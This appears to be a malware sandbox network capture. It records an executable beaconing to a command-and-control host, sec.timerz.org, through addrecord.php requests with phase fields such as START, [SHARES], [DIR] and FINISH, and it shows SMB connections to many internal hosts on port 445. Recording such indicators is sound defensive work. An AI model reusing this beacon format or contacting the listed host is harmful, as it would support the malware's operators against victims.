                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=40D4690F4E1FBA0F|5273|2GB HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:06:47 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_DPr6XOP1UZp+tDSqLOJJPo6FfJUt5hvNu0M9CkBb/bPyOxNnt1I2S3JUinxV7mLB6bGzE6eLLFQPWhl51PatGw==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=FINISH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=FINISH HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:07:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_GW5paY4ZoeVqj77dkTpeUUiU5MT+XPW6+h/j4jHY4eomEb3n7AKG6p8+1q2l2c3f3cZmlFcL/szOrKSoF8+vpw==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[FIN]40D4690F4E1FBA0F|5208|65|5273
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[FIN]40D4690F4E1FBA0F|5208|65|5273 HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:07:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_WO2Lp/NzitUqCc4kdBdmSHhv17LWS2cngbb10JO2TIM17RbS5V6UnxGKDGfvu0LNPgPXlNaPliAswbCuxC7FHQ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=pACWNcPqNWGAM5WL&phase=[SHARES]5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        NWCmUw1f.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=pACWNcPqNWGAM5WL&phase=[SHARES]5 HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:08:30 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wOVO6Pj2O+s1ERCiE6iAVShylRgQwOKat9tGgd+wFMzLYUBtnaQRNqnE+DgVHsgIjSwxFspMoxujLHbNAunIAA==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=5Wv1yNiiVwbk78Vb&phase=[DIR]25C4A437491223AD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        NWCmUw1f.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=5Wv1yNiiVwbk78Vb&phase=[DIR]25C4A437491223AD HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:08:34 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_xWBbwumZdaiI2rf5BNo2RHxKb6w4JO6ZjQUb093/sdGL+VVQGkePR8Q028Dee+9+l70SwtfesZBi11u+4QrfXg==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.73:58028
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.60:50853
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=START
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        494 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=START

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.1:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        156 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.12:64812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.12:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         23
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.16:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         25
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.18:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        52 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.23:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         25
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.27:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.37:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         25
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        23
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.60:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.27:64042
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.1:139
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        156 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.37:58811
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        21
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.23:56722
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         23
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.16:51580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         23
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        21
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[ALL]40D4690F4E1FBA0F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        510 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[ALL]40D4690F4E1FBA0F

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=40D4690F4E1FBA0F|5273|2GB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        514 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=40D4690F4E1FBA0F|5273|2GB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.73:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=FINISH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        495 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=FINISH

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[FIN]40D4690F4E1FBA0F|5208|65|5273
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        523 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[FIN]40D4690F4E1FBA0F|5208|65|5273

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=pACWNcPqNWGAM5WL&phase=[SHARES]5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        NWCmUw1f.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        498 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=pACWNcPqNWGAM5WL&phase=[SHARES]5

